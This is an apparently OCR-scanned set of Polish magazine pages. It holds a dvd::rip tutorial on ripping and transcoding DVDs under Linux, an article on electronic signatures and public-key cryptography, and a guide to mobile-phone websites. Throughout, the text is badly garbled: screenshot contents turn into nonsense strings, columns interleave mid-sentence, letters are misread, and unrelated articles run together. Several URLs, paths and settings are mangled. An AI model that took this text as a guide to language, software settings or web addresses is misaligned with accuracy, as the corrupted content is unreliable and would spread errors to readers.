wymaganych bibliotek ® (na czerwono zaznaczone 53 te brakujace).se-Check deperiencies

CHhT
Cl+0

Show Transcode commands...

Head content

Storage | RIP Tille: |I I:Ip&leml Subtities | Transcode |

| tosgmg |

Eum

[ ] Reag 0vD table of contents | open ovD np Close DVD tray |

Required toal

5 nothing without tran ;]
Meeded for preview image processing

ImageMagmk

subtitlezpgm  Needed for subtities Mo
rar Meeded far compressed subtitles Ma
mplayer MNeeded for subtitle vohsub viewing Mo

0.3 0.3 - 0.3
2. 2.1 299 tnissing
0.50 0.90 - 0.90

Ripowanie filmu

Po kazdym kolejnym uruchomie-
niu programu przywita on nas swo-
ja wizytowka oraz menu znajduja-
cym sie na gorze okna. Aby wywo-
fac ustawienia programu, nalezy
W menu wybra¢ opcje
[Edit Preferences... CH+P),

1. Rozpoczecie pracy nad no-
wym filmem umozliwi wybranie
w gornym menu polecenia [Eile],
a nastepnie [Mew Project].

W oknie pojawig sie zaktadki, utozo-

nazwa filmu. DomysIng nazwg jest
unnamed, nie nalezy jej pozosta-
wiac. Nazwa projektu jest podstawg
do tworzenia szkieletu katalogow,

w ktorych beda przechowywane da-
ne. Na taki szkielet sktada sie kata-
log, wpisany w konfiguracji jako,
nazwa projektu, oraz funkcyjne kata-
logi, w ktorych beda przechowywa-

DD tahle of contents:

Titie| Technical information

znajduje sie wybor kamery. Nato-

______________ - U placi 48kHZ 6Ch I

Select audio frack for volume
scanning.

(Pumes ol affenc] ripping, Al
audio fracks are ripped)

Select viewing angle
(You must fip again if you
change this)

Angle 1 =
____________ 3 Spocify chapler mode
AMNo Al Selection

miast @ okre$la tryb wyboru roz-
dziatow z filmu: przycisk
zezwala na zgranie wszystkich
scen, za$ spowoduje
wySwietlenie listy dostepnych roz-
dziatow, z mozliwo$cig ich wyboru.

Konwersja filmu

1. Przechodzimy na zakfadke kon-
figuracji parametrow konwersji

Clip & Zoom|. W ramce @ widzi-

my podglad filmu po konwersji.

Statu

_hapter 1: 26.71%, 60.4 fps, elapsed 00:00:14, ETA: 00:00:34

Cancel I

ne pliki z filmem VOB, pliki wyniko-
we AVI oraz katalog TMP stuzacy
do zapisu roboczych plikow @.

ne tak, aby wskazac kolejnos¢ wy-
konywania czynnosci @. Na zaktad-
ce jest miejsce na defi-
nicje nazwy projektu z konwertowa-
nym filmem oraz katalogow, gdzie
beda zapisywane dane.

[ dvd::rip - film
File Edit

Operate

-Storage path information

‘#ﬂlm

|rhomefdvdm|mmob N

Cluster  Debug

| RIP Tite | Clip & Zoom | Subtites

Froject name

WOB directory

A% directory |fh0mefdvdfﬂlmfavi

Temporary directory |fh0mefdvdfﬂlmﬁtmp

= [

Use one of the following modes only, if ripping is no option fo
kany interesting features are disabled for them:

Rip data from D¥D to harddisk before encoding

also preview grabhing and frame range transcoding is rather
v [ Encode DVD on the fly
v [

Use existent DWD image located in this directar

2. W pozycji @ nalezy podac na-
Zwe projektu — zazwyczaj bedzie to

Ekspert radzi )

oze sie zdarzy¢ ze miejscem, do ktdrego bedg zapisy-
wane dane, jest na przyktad partycja z systemem pli-
kow Windows (np. FAT). W takim wypadku Ekspert radzi
zmieni¢ w polu [Temporary directory |/home/dvdsilmstmp |
miejsce przechowywania plikéw na partycje linuksowa.
Powodem jest nazwa pliku ez\trace_b.txt, w ktorym ko-
dek divxé&linux chce zapisa¢ swoje logi. Takiego pliku
nie mozna utworzy¢ na partycjach FAT16, FAT32 oraz
NTFS i pojawia sie btad, ktory uniemozliwia dalszg prace
| programu konwertujgcego film.
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3. U dofu okna w sekcji ® mamy

do wybory trzy tryby pracy progra-
mu: zgranie wszystkich plikow

na dysk twardy z ptyty DVD przed
rozpoczeciem przekodowywania [,
czytanie plikow DVD podczas pracy
programu kodujgcego [] oraz wska-
zanie katalogu, w ktérym znajduje
sig juz zgrany film [J. Pierwsza
opcja daje najwigcej mozliwosci, ale
wymaga duzo miejsca na twardym
dysku (podczas czytania filmu
dvd:rip kopiuje na niego wszystkie
dane). Warto jg zaznaczy¢, gdy ma-
my duzy dysk twardy. Druga opcja
Sprawia, ze dane sg czytane bezpo-
$rednio z ptyty DVD, ostatnia pozwa-
la wskaza¢ katalog na dysku, w kto-
rym znajduje sie juz zgrany film.

Mo &C3, no subtitles, no PSU core for NTSC A sync optimi|—-

4. Zaktadka umozli-
wia zgranie filmu. Przyciski [J stu-
73 do wysuwania i wsuwania tacki
DVD-ROM-u. Gdy kompakt z fil-
mem znajduje sie juz w czytniku,
nalezy przycisng¢ [1 w celu prze-
czytania zawarto$ci krazka. Po
chwili pojawi sig lista plikow do
zgrania — ten z najdtuzszg liczbg
ramek (frames) jest filmem, a po-
zostate pliki sg zwykle dodatkami
do filmu w postaci wywiaddw, re-
portazy itp. Kazdg z czesci mozna
obejrze¢ a potem zaznaczy¢ jeden
lub wiecej plikow do zgrania.

5.7 prawej strony okna wyswietla-
na jest informacja o $ciezce audio.
Jezeli jest wiecej niz jedna $ciezka,

6. Po zaznaczeniu plikow do
zZgrania nie pozostaje nic innego
jak tylko je zgra¢. Stuzy do tego
przycisk:

RIP
selected title(s)/chapteris)

7. Podczas pracy programu wy-
Swietlany jest pasek informacyjny,
znajdujgcy sie na samym dole okna

--@. Przerwanie zgrywania mozliwe

jest po nacisnieciu przycisku
[Cancel], znajdujgcego Sie po pra-
wej stronie paska. Ripowanie filmu
moze trwac kilka godzin (doktadny
czas zalezy od szybkoSci kompute-
ra) — powinnismy uzbroic sie wiec
w cierpliwosc.

metry konwersji. Dostepne s3 pre-
definiowane ustawienia w menu
wyboru [J. W zaleznosci od po-
trzeb mozna wybra¢ jedng z kon-
wersji z DVD na formaty obrazu
VCD i SVCD w roznych konfigura-
cjach oraz proporcjonalng konwer-
sje do wielkoSci spotykanych w pli-
kach DivX. Ustawienia [] daja
optymalny plik wynikowy.

@kspert radzi |

N a kolejnej zaktadce [Subtities|
znajduje sie sekcja stuzaca do
wyciggania napiséw z filmu. Sko-
rzystajmy z niej, jesli chcemy prze-
nies¢ napisy do pliku tekstowego.

T —
Elle  Edit Operate Cluster Debug

Storage | RIP Tl
[ Selected DVD litle

Clip & Zoom

Wiewing angle #1, Audio track. #0 - pl acd 40000 6Ch

Sublilles

DVD lille #1 - 01:36:08, PAL, 24 Chp, 25 fps, 16:9, 144225 frames, T20x576, Chapler Mode

Transcode Bum

‘\ EM ratio; 1.25, phys, raliv: 1.25

-ﬂﬂ]lm Clip &nd FO0M paramAtars

[Praview images i
Grab preview frame # [1353 Grab frame | Show video from here | *
Afer 15t clipping After zoom After 2nd clipping
Slzo: 7204576 Slze: B40X360 Slze: G24xa52

Eff, ralio: 16:9, phys, ratio: 1.77

Ef. ratio; 16:9, phys. ratio; 1.77

[ Pressts Autoadist, Medim Frame Size, Fast Resize [ ] i | IW
15t clipping Top |0_ Eottom Io_ Lett |0_ Right 'U_ Generate proview Images I
Zoom width 640 Helght [360  Fast resize. Ok Calc helght | | Cale width |
Use fastresizing Yes o No [] @pen zoom calculator |
20 clipping topfa Bomom[s  tem[s  mgn[s Move 2nd ciipping to 15t |

S '

I Frew diskspace: 3623 MB




3. Jezeli predefiniowane ustawia-
nia nie odpowiadajg nam, mozna
skorzystac z kalkulatora przeliczen.
Dostepny jest po nacisnieciu przyci-
sku [J. Mozna tu wybrac rozdziel-
czosci, na jakie bedzie konwertowa-
ny film. Na czerwono program

hd dvd:rip Zoom Calculator

Fast resize ali ] =]|
Result frame align 16 A

Arhieve msull align  Using cliog | I
Was - uge clipZ =) I

Huto clipping

Wideo bitrate calc
Target media  one = I 03 ME

Targat size

Video bitrate |5000 kbit's | Manual

Jesli zapisujemy film do pliku AVI,
dostepne s3 miedzy innymi DivX4,
DivX5, XviD. Ekspert proponuje
wybra¢ DivX5 — to najnowszy,

ale sprawdzony juz kodek. Dla for-
matu (S)VCD wskazujemy w polu [
odpowiednio VCD lub SVCD.

- 0%

Ik ME  _|Use range

Loom L

1.0000%
0.9943%

1145 1.7353

[Resusize Jorr [enan [anemor [cipt poam  [Zoom size [ciipz aoan |
0425 17770 00000% 0707070  1024<a76  6/10/0/0
0432 17633 07B1Z% 0/0/0/0 101676 B/10/12/12
0636 17600 O0.250% O0/OfODfOD FlZx400 Bigrard
0300 1775 O0J276% O0/0/0/0 696X 4/4/414
0970 17708 03W0E% 0/0/0/0  66ABS  B/B/4/4
0934 17872 03319% 040/070 B72%3ITE 4740678
0.2717% 0/0/0/0

0/0/0/0
asoforn

0/0/0/0
4741818
grardaia

zZaznacza ustawienia gwarantujgce
najlepszg jakosc filmu @ .

4. 7akiadka jest
jedna z najwazniejszych sekcji. To
na niej konfigurujemy metody
konwersji, @ mozliwosSci jest wiele.
Po lewej stronie zaktadki znajduja
sie ustawienia dla obrazu @, po

prawej dla dzwieku. Zajmijmy sie
najpierw obrazem.

7. Liczbg ramek na sekunde
mozna ustawi¢ w polu @. Na gorze

zaktadki widniejg informacje na te-
mat zgranego filmu — Ekspert zale-
ca zachowanie oryginalnej liczby
ramek (FPS), dzieki czemu unik-
niemy problemdw z synchronizacja
dzwigku z napisami. Nastepnie na-
lezy zdecydowac, czy obrobka fil-
mu nastgpi w dwoch etapach — od-
dzielnie konwersja dzwieku i obra-

zu. Ekspert zaleca wy-

~Container options —¥

Target format

bra¢ ustawienie ® —

daje lepsze efekty.

~Yideo option

Wideo codec Idivxs 0 j
af/fimpey codec I _______

Video framerate |25 = jfps

8. Nastepnie usta-
wiamy wielkoS¢, jakg
ma zajac¢ plik z przeko-

£-pass encoding A’es ~ Mo

Deinterlace mode Mo deinterlacing

dowanym filmem @.

Widoczne tu wielkosci

] plikow zalezg od usta-

Filters

Configure filters & preview... |

wien na zaktadce

-Video bitrate calculation—=&=

Clip & Zaam]|.

Target media

onelélxw.f B

Target size o

I?DS [ MB [T Use range
Yideo hitrate « IBDDD khits 'il kanual

1 9= W polu @ ustawia

sie liczbe nosnikow,
na jakie chcemy po-

dzielic¢ plik wynikowy.

-Calculated storage

Wideo Mon video Total

384.01 MB 9.36 MB 393.37 MB &

Details... |

Dostepne jest od jedne;
do czterech ptyt o defi-
niowanej wielkosci.

5. Pierwszym polem, ktoremu
powinnismy sie przyjrzec, jest @ —

wybor formatu pliku wynikowego.
Wtascicieli stacjonarnych odtwa-
rzaczy na pewno zainteresuje for-
mat VCD i SVCD (ten drugi od-
twarzajg tylko nowsze urzadzenia).
Pozostali zapewne zechcg zapisac
film w formacie DivX — w takim
wypadku prawidtowym wyborem
bedzie plik AVI.

6. Nastepnie nalezy wybrac kodek,
jakim bedzie kodowany obraz [J.

Program tak dopasuje parametry
konwersji, aby wypefni¢ wskazang
liczbe nosnikow.

o o

10. Parametr o wskazuje wiel-
koS¢ pliku wynikowego. Jest on
wyliczany na podstawie liczby no-
$nikow, jakie ma zaja¢ (mozemy
zmienic¢ go, wpisujgc w pole tek-
stowe e inng wartosc). Dla filmu
w DivX5 i dzwieku MP3 wystarczy
jeden no$nik 700 MB (dla AC3
potrzebne beda dwie plyty).

12. Bitrate « definiuje, ile kilobi-
tow zajmie jedna sekunda filmu.
Wraz ze wzrostem bitrate poprawia
sie jakoS¢ obrazu. Chcac ustawic
wiasng wartos¢ tego parametru, na-
lezy zaznaczy¢ opcje ¢ (maksy-
malnie moze wynosi¢ 6000 kbit/s).
W polu « widac, ile miejsca zaj-
mie plik po przekodowaniu.

13. W prawej czesci okna znaj-
dujg sie opcje dotyczace dzwigku.
Najpierw nalezy wybra¢ dostepna
Sciezke dzwiekowg, zmieniajac @---
W zaleznosci od wybranego formatu
wynikowego bedg dostepne rézne
formaty dzwiekowe, do jakich moz-
na przekodowac dzwiek. Na przy-
kiad dla wybranego DivX5 istnigje
mozliwo$¢ zapisania dzwigku

Trudne terminy

2

» AG3 - wielokanatowy zapis dzwieku opracowany
w Laboratoriach Dolby, nazwany Dolby Digital. Ten
standard zapisu dzwieku stosowany jest obecnie w
wiekszosci filmow DVD.

» DivX - opatentowany format kodowania obrazu, zaj-
mujacy niewiele migjsca na dysku, tak aby mogt byc¢ roz-
powszechniany w internecie. Kodek ten jest o wiele bar-
dziej wydajny niz MPEG-2.

» kodek - ang. codec, skrét od coder-decoder. Najcze-
sciej jest to biblioteka umozliwiajaca kodowanie i rozkodo-
wanie plikéw w danym formacie zapisu.

» link, dowiazanie symboliczne - linuksowy plik
wskazujacy na inny plik lub katalog. Do tworzenia takich
plikéw stuzy komenda In

» SVCD - ang. Super Video CD - format cyfrowego za-
pisu wideo, o lepszych parametrach niz VCD. Obraz zapi-
sany jest w formacie MPEG-2.

» V(D - ang. Video CD - ptyta CD zawierajgca film
zapisany wraz z dzwigkiem. Obraz i dzwiek zakodowany
jest za pomocg standardu MPEG-1. W zaleznosci od jako-
sci obrazu mozliwe jest przechowywanie do 70 minut fil-
mu. Standard ten stat sie podwaling dla innych nosnikow
multimedialnych, takze dla formatu DVD.

16 . Na zakiadce wy-
Swietlany jest zapis tego, co sig
dzieje podczas pracy aplikacji.
Stad tez dowiemy sie 0 powodach
ewentualnych niepowodzen.

w MP3 oraz pozostawienie Sciezki
w oryginalnym formacie, czyli
wAC3 . DlaVCD i SVCD do-
stepne jest tylko kodowanie w MP2.

FAudio options

14. W przypadku MP3 mozna

Warto$¢ @ jest obliczana automa-

DYD audio track  1: pl a3 48kHz 6Ch =0  _J |
Target track Track #0 =i
MP3 m:3|

“P-Bit/Samplerate [126 /| kbit's [48000 | #| ha

tycznie — normalizuje ona gfosnosé
Sciezki audio. Mozna jg ponownie

Filter Mone, wolume rescale only |

Wolume rescale |4.224 /Scan value |

przeliczy¢, klikajgc na @-

15.. Wszystkie istotne parametry
zostaty ustawione, zatem mozna za-
¢z3¢ kodowanie filmu. Klikamy

na znajdujacy sie w dolnej czesci
okna przycisk @ jesli nagrywamy

na kilku ptytach lub na @, gdy
potrzebujemy tylko jedne] piyly. |
Czas kodowania zalezy od szybko- |
$ci procesora komputera, na ktérym |
przeprowadzamy konwersje. J
Operate

" Transcode + Split I

¥

Transcade

(‘ Pakiety dla innych dystrybucji

]

U

zytkownicy wersji Linuksa niebazujgcych na pakietach RPM moga doin-
stalowa¢ potrzebne aplikacje, o ile majg dostep do internetu. W wypadku

Debiana nalezy dopisat¢ zrodto pakietow do pliku /ete/apt/sources.list

deb http://marillat.free.fr/ unstable main
Nastepnie nalezy wydac¢ polecenie apt-get update, aby sciagnaé liste pa-
kietow. Teraz wystarczy wyda¢ polecenie apt-get install mplayer-686,
aby zainstalowa¢ MPlayer wraz ze wszystkimi potrzebnymi bibliotekami.
Tak samo tatwo instaluje sie dvd:ripa. Komenda apt-get install
video-dvdrip zainstaluje go wraz z pakietami, ktdrych nie ma w syste-
mie, a ktdre sg niezbedne do dziatania programu.

Quality 0 - best but slower =

17. Po zakoriczeniu kodowania
mozna obejrze¢ film klikajgc na

[wiew A¥1] Pliki znajdziemy w wy-
branym wczesniej katalogu — w na-
szym wypadku /home/dvd KW m

o

Warto zajrze¢...

Biblioteki:
www.divx/com/divx/linux/
www.mp3dev.org/
www.wideolan.org/libdvdcss/
http://fame.sourceforge.net/
www.xvid.org/

Programy:

o www.mplayerhg.hu/

e www.theorie.physik.uni-goettingen.de/~ostreich/
transcode/

o www.exitl.org/dvdrip/

e http://avifile.sourceforge.net/

o www.dtek.chalmers.se/groups/dvd/

@ http://xinehq.de/

Konwersja:

o www.bunkus.org/dvdripping&linux/index.html
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yobraimy sobie swiat bez urzedéw. Bez ko-
ejek, okienek, numerkéw i ospatych urzedni-

ow. To wszystko moze stac sie rzeczywisto-

owodem, dla kidrego
o0sobiscie stawiamy sie
z nargczem dokumen-
tow i podan w urzedzie, jest miedzy
innymi fakt, ze urzad musi mie¢
pewnos$¢, ze to my podejmujemy
kroki prawne, a nie nikt inny. Teore-
tycznie, media elektroniczne s3
idealnym $rodowiskiem do prowa-
dzenia interesow czy zafatwiania
spraw urzedowych. Dokumenty
mozna sprawnie i szybko przesyta¢
e-mailem, potrzebne wskazowki
zdobywac na witrynach WWW, po-
biera¢ wzory dokumentéw on-line.

Co obiecuje podpis?

|deg elektronicznego podpisu
i technologii mu towarzyszacych jest
zapewnienie korespondencji catko-
witego bezpieczenstwa. Chodzi

scigq dzieki podpisowi elektronicznemu

odpls cyfrowy

Praktyka

Anonimowos¢ intemetu oraz fa-
twosc, z jakg mozemy manipulowac
w nim informacjg, sprawiajg, ze glo-
balna sie¢ nie cieszy sie zaufaniem.
Wiekszos¢ technologii i rozwigzan,
takich jak WWW, poczta elektronicz-
na czy FTP powstawaty jeszcze
w czasie, gdy internet byt siecig
akademickg i nikomu nie $nito sie,
ze zacznie by¢ tak powszechnym
wynalazkiem. Dlatego dtugo brako-
wato mu ujednoliconego systemu
autoryzacji i bezpieczenstwa. Wia-
mania, podstuchiwanie czy kradzie-
ze danych nie zachecajg do tego,
zeby powierza¢ internetowi nasze
pienigdze lub wazne i poufne infor-
macje.

Dzi$ istniejg juz mechanizmy za-
bezpieczen oraz szyfrowania zapew-
niajace poufnos¢ informaci.

16 sierpnia 2001 roku termin pod-
pis elektroniczny oficjalnie stat sig
bytem prawnym. Nie wprowadzono
oddzielnej definicii, lecz uznano, ze
podpis elektroniczny jest formg pod-
pisu wiasnorecznego. Dokumenty
elektroniczne (oprocz nielicznych
wyjatkow) opatrzone bezpiecznym
podpisem elektronicznym maj taka
$ama moc prawng, co dokumenty

skie przedsiebiorstwa cierpig na
niedobdr narzedzi do obrotu faktura-
mi w formie elektronicznej. Proble-
mem nawet nie jest wystawienie
faktury, lecz jej przechowywanie

w archiwach firmy, nie wiadomo
bowiem, czy wydrukowany e-mail
podpisany elektronicznie nadal ma
wage dokumentu czy nie. Inny przy-
ktad rozdzwigku miedzy teorig

i praktyka dotyczy pism urzgdowych,
kidre czesto wymagajg dotaczenia
znaczka skarbowego, co w przypad-
ku listu elektronicznego jest trudne
do zrealizowania. Te i inne problemy
skutecznie opozniajg wejscie elek-
tronicznego podpisu do masowego
uzycia. Jest jednak nadzieja — przy-
stosowywanie polskiego prawa do
wymog6w UE zmusi nasze urzedy,
sady i prawodawcow do przyspie-
szenia prac nad wprowadzeniem
e-podpisu do powszechnego uzycia.

Dla Kowalskiego

Swiat biznesu, mimo ze mogiby
wiele na podpisie elektronicznym
skorzystac, na razie obchodzi sig
smakiem i czeka na praktyczne roz-
wigzania. Dla uzytkownikow prywat-
nych podpis elekironiczny jest
0golnie i fatwo dostepny. Najbar-
dziej popularnym zastosowaniem
tej technologii jest podpisywanie
e-maili. Jezeli z jakich$ powodow
nie chcemy, aby nasza korespon-
dencja byfa dostepna dla kogokol-
wiek poza adresatem, mozemy uzy¢
prywatnego podpisu. Niezbedny do
stosowania podpisu elektroniczne-
go certyfikat dostajemy u jednego
Z autoryzowanych dostawcow, na
przyktad @. Zazwyczaj podstawowa

— Ogne | Cotone | Potwerdzona | Wymtane | Rodagowae | Wszystkie
Portia Foowria | ' popularne
Od'“""‘:':;d ‘"'"":"' ks ki I I F ;h progrﬂmy
iy sliefey rabesrpincren kifina ma byt ubywana prees progren Iidemed Fxplhoes
O @ Strefn fmniejsze fatwo, lecz wicksn pocztowe,
© Sirefa winm 2 fckozo miedzy inny-
] Oistrregaj mnie:_ kiady inne aplioacie pribuja wyskad pocrte w maim imieni .
mi Outlook
[] Nie zezwalajna lub  ktéra moggy
zawlerad winssy Express, ma-
Bezplecana pocata . 2 7]
Khrtylelony cytowe uaryworn ok coyibeton) [ viometomaen. ] | 12 mozliwos
% 38y speciskoymi colomenlami. umoliwisiecy opatrywania
swoie] ot | PO A
|xl|1:rn.~=l|nner*|?MI.|KI?'1'_rrqdl-. i Syfowe listéw e-mail
ﬂhy’, pod PR [ Pubiesz ieratyfisaton cyfrumy...| elektronicz-
T nym podpi-
[z I sem @
[0 Dodi podpis eyfowy do warystkick ici <

0 uchronienie zawartosci przed od-
czytaniem i zmiang przez 0soby nie-
powotane. Podpis jest jednoczes-
nie gwarancjg oryginalno$ci tresci
— kazda zmiana spowoduje nie-
zgodno$¢ podpisu z listem.Tak
chronione dokumenty sg wiec na
tyle wiarygodne, aby mogty by¢
legalne.

papierowe z podpisem wtasnorecz-
nym. Teoretycznie, poniewaz szcze-
gofowych regulacji nadal nie ma.

0 ile niektorzy (na przyklad dostaw-
¢y pradu czy ustug radiotelekomuni-
kacyjnych) sg przyzwyczajeni do
wystawiania faktur bez tradycyjnego
podpisu, to inne firmy nie majg zad-
nych doswiadczen. Dodatkowo, pol-

Kryptografia asymetryczna

]

ajpopularniejszy dzis i uzna-

wany za bezpieczny podpis
elektroniczny wykorzystuje meto-
. de szyfrowania asymetrycznego.
Polega ona na wykorzystaniu
dwdch kluczy - prywatnego i pu-
blicznego. Za pomoca klucza pry-
watnego szyfrujemy i podpisuje-
my dokument, za pomocg klucza
publicznego mozna go rozszyfro-
wac i potwierdzic¢ oryginalnos¢
dokumentu. W procesie weryfika-
~ ¢ji dokumentu bierze réwniez
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udziat centrum certyfikacji, od
ktorego pobralismy identyfikator
cyfrowy — potwierdza ono auten-
tycznos¢ identyfikatora oraz okres
jego waznosci. Najwazniejszy jest
klucz prywatny. Ochrona jego taj-
nosci to warunek bezpieczenstwa.
Najprostsze klucze s3 przechowy-
wane na dysku komputera. W naj-
bardziej zaawansowanych syste-
mach stosowanych miedzy inny-
mi w bankach, klucz prywatny
waznych osob jest przechowywa-

ny na specjalnej karcie magne-

kumenty postugujac sie wtasnie
kartg i czytnikiem podtaczonym

jednak, ze przysztosc¢ podpisu
elektronicznego lezy w biometrii,
bedziemy sie wiec podpisywac

papilarnych lub spojrzeniem

tycznej. Osoby takie podpisujg do-
do komputera. Fachowcy twierdza

czyli odczytywaniu unikalnych cech
cztowieka. Zamiast karty z chipem I r

przytozeniem palca do czytnika linii

w skaner siatkowki oka @:------

FOT.: Panasonic

E Panasonic BM-ET100 to jeden z
! pierwszych dostepnych na rynku

-4 skaneréw siatkéwki ludzkiego oka

ustuga certyfikacyjna jest udostep-
niana za darmo. Otrzymany plik

z certyfikatem instalujemy w na-
szym programie pocztowym. JE m

:Qlarto zajrzeé... |

Ksiazki:

Podpis elektroniczny -
Jerzy Jacyszyn, Aleksander
Wittlin, Sebastian Zakrzewski,
Wydawnictwo Prawnicze
LexisNexis, Warszawa 2002,
cena: 55 zt

Podpis elektroniczny -
Wtodzimierz Dabrowski,
Przemystaw Kowalczuk,
wydawnictwo Mikom,
Warszawa 2003, cena: 12 zt

Adresy WWW:

o www.podpiselektroniczny.pl
www.certum.pl

o www.zeto.krakow.pl

® www.e-podpis.unicard.pl
www.sigillum.pl
www.polcert.pl




INFORMATOR

Telefon komérkowy juz dawno przestat by¢
jedynie urzadzeniem do komunikowania sie.

Gdzie szukaé
w infernecie

Posiadacze wspétczesnych komaérek chca wcigz
nowych opcji, zastosowan, ciekawszego wygladu
i atrakcyjniejszych dodatkéw. Fanom telefonii
Ekspert poleca kilka ciekawych witryn

Gsmonline @------—---

Jeden z najrzetelniej prowadzonych ser-
wisow. Codziennie pojawia sie nawet
kilkanascie swiezych nowosci ze swiata
telekomunikadji, co $wiadczy o duzej
pracowitosci tworcéw. Gsmonline moze
pochwali¢ sie bardzo dobrymi testami
telefondw - kazdy model jest opisany
bardzo doktadnie, z wieloma zdjeciami

\

FKN

Dawniej fanklub Nokii, obecnie serwis
opisujacy wszystkie aspekty telefonii.
Poziom tekstow jest bardzo wysoki,
uwage zwracajg artykuty, w ktorych
mozemy, na przyktad, dowiedziec sie
o tajnikach plandw taryfowych czy po-
réwnac jakos¢ ustug operatoréw. Oczy-
1 wiscie sg tez testy i ranking aparatow

Acves | @ hetas v i o fsts Pk mehom_detale. o= 121

Qs - @ 6 (B @ P wsa S @uimets @ (3 5[5 L)

Gmaic -] Bhsercivies @iseech s uv-. i

THEETET

Chudows 5100 stylaowans
o Sagem (2)

O Testy konkursowe (30)
0 Tren (3}
= Wyszuka) w testach =2

s2uka)
uTopSa
0 Test telefor Ericason
Them. . {33384)
0 Test telafonu Nokia
5310... (18658)

O Test telefony Alcatel
OT511.., (17178)

D Test weisfara Nokia
6510... (16200)

O Test telefon Nokia
B30 (1

robionymi przez autorow (a nie Scigga-
nymi ze stron producentow).
Od strony merytorycznej testy sg bar-
dzo dopracowane, widac, ze robione
przez entuzjastow telefonii komadrkowej
- kazdy model komorki jest rozbierany,
wazony, mierzony i fotografowany. Po-
pularnos¢ serwisu potwierdza duza licz-
ba gosci i wpiséw na forum.
www.gsmonline.pl

et
wytrzyma zalanee woda ub praetrwe :-rarﬂr upadek na betonawa potadzie. To jest jednak

regdinie wytrTy
wige tworzyd telefon, ktdry sprawin wrazenie wytrzymalege, kisdy takim w rzecTywistode rie
=

22). Mydlg, te gdyby Nokin gresygrowala o
hals wyesichy to shichawes tylks ra

O sa (1) tyke syizacis 1 ja bakem 5¢ 3
a 5-0':::":[15: chudowy ukazuie bowiem, Te rie jest ons
0 Sany (3 b

O Sony Ericsson (2) Telefon jest bardes duty (1085 x

O Spectrone (1) monttrislnych wyrmmnnych chuddw

dibre, Wags telefors jest w normie, wazy on bowsem 304 gramy.

wyirzymaly, & Gam taleion na mdm-. kaien

ten telefon nawet podczas deszctu. Tdpgces
ani spczeing, eni sz

]
wytrrymals. Fo oo

49,5«
typu Xpress-on S

oraz forum. Ciekawym pomystem jest
baza danych skradzionych telefonow.
Mocng strong serwisu sa nowosci - je-
zeli cos sie na rynku dzieje, to na pewno
przeczytamy o tym w FKN.
www.fkn.pl

Infogsm
Ten wortal to kolejne dobre zrédto in-
formacji o telefonach komadrkowych.

Qe - Q- AW
A ] v Do samantpr i

Coogle - o W e @ueson D @eseik - B - S

Plonnig Prises @unes ) (3- 5 5

%
bl ]

Autorzy pilnie sledza wydarzenia na
rynku i wytapujg wszystkie promocje,
wpadki czy ciekawostki zwigzane z te-
lekomunikacjg. Dobrze funkcjonuje
gietda nowych i uzywanych telefondw.
Testy nie s bardzo rozbudowane, nie
s rowniez bardzo aktualne, lecz jest
ich duzo. Na uwage zastuguje FTPR, z
ktorego za darmo mozemy Sciggac
wiele przydatnych programoéw na pece-
ta przeznaczonych do wspotpracy z te-
lefonami komaorkowymi.
www.infogsm.pl

Telefonia WP

Serwis Wirtualnej Polski moze stano-
wi¢ wzor dla konkurendji. Olbrzymia
baza testow telefonow i opinii na temat
poszczegolnych aparatéw na pewno
utatwi decyzje co do wyboru modelu
telefonu. Nie jest to serwis nastawiony
na szybkie publikowanie nowosci. Znaj-
dziemy w nim za to sporo ciekawych
artykutdw, popularne forum i FTP. Na
plus mozna zaliczy¢ mnigjszg niz
u konkurencji liczbe reklam. Serwis nie
prowadzi wtasnego sklepu, wiec nie
mozna go podejrzewac o promowanie
wiasnych produktow.
wwwi.telefonia.wp.pl

Aplikacje GSM o---------

Ciekawy serwis poswiecony oprogra-
mowaniu na telefony komorkowe.
Przeczytamy w nim o wszystkich no-
wosciach, mozna réwniez wyprobowac
wiele gier i innych aplikacji w oknie
przegladarki. Istnieje tez mozliwos¢
Sciggniecia niektorych programow
przez WAP. Wigkszos¢ z nich to wersje
shareware, freeware i demo. Osobny
dziat poswiecono grom. Niestety, za
wiele gier trzeba ptaci¢ wystaniem
SMS-a.

www.aplikacjegsm.pl
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Siemens.prv.pl @

Strona polecana dla uzytkownikow
i wielbicieli komarek produkcji Siemen-
sa. Znajdziemy na niej opisy wszyst-
kich modeli, informacje, gdzie i za ile
mozna je kupi¢, oraz sporo testow i
opinii uzytkownikéw. Strona jest wyko-
nana starannie i funkcjonalnie, chociaz
niektore dziaty wcigz s w budowie.
Doceni¢ nalezy spory dziat z oprogra-
mowaniem. Znajdziemy w nim darmo-
we aplikacje, uaktualnienia firmware'u,
logo, dzwonki oraz instrukcje obstugi
w plikach PDF.

www.siemens.prv.pl

Telefon.pl

Serwis bez tysiecy migajacych bane-
row, za to z duzym zbiorem artykutow.
Dobrg prace wykonali autorzy, grupujac
artykuty w centrach tematycznych.
Oprocz tekstow o telefonach znajdzie-
my opisy urzadzen przenosnych -
palmtopow czy akcesoriow Bluetooth.
Recenzji aparatow nie jest duzo i cza-
sami roznig sie od siebie poziomem.
Mozna trafi¢ na bardzo doktadny opis
z wieloma zdjeciami i poréwnaniem do
podobnych modeli lub suchg notatke
z parametrami. Twdrcy tej strony
Swietnie orientujg sie w niuansach pol-
skiego rynku telekomunikacyjnego. W
informacjach mozemy przeczyta¢ mie-
dzy innymi o btedach czy nieuczciwych
dziataniach operatorow. Niewypatem
jest dziat Download. Zaledwie kilka
programow i to mato przydatnych.

wwwi.telefon.pl

Gsmphone.pl
Strona bardzo komercyjna (zarabia na
siebie dzieki sklepowi), jednak petna
ciekawych testow telefondw i oprogra-
mowania. W sklepie mozna kupi¢ pro-
fesjonalny osprzet serwisowy do od-
blokowywania telefondw, klucze sprze-
towe, kable do taczenia z komputerem
i oprogramowanie do edycji zawartosci
kart SIM. Na stronie znajdziemy archi-
wum kodow GSM, stownik poje¢,
a takze bramke SMS.

www.gsmphone.pl

Wapster
To chyba najwieksza kolekcja polifo-
nicznych dzwonkow, graficznych
SMS-6w, obrazkdw, tapet, wygaszaczy
i innych multimedialnych gadzetow,
ktore mozna wgrywac do telefonow.
Oczywiscie za korzystanie z ustug trze-
ba ptacic. Na szczescie, gdy zarejestru-
jemy sie, dostajemy pare jednostek

O DR O i Grmen @ -5 H
P —

o | e Gt e O s B+ 4

ptatniczych - wapsterow - za ktdre
mozna kupi¢ swoje pierwsze logo lub
muzyczke. Jesli zgodzimy sie na otrzy-
mywanie reklamowych SMS-6w, nasze
konto bedzie dotadowywane dodatko-
wymi wapsterami.

www.wapster.pl

Mobile.net

Stojacy na dobrym poziomie portal
z rozbudowang sekcjg dla uzytkowni-
kow protokotu WAP. Do sciggniecia
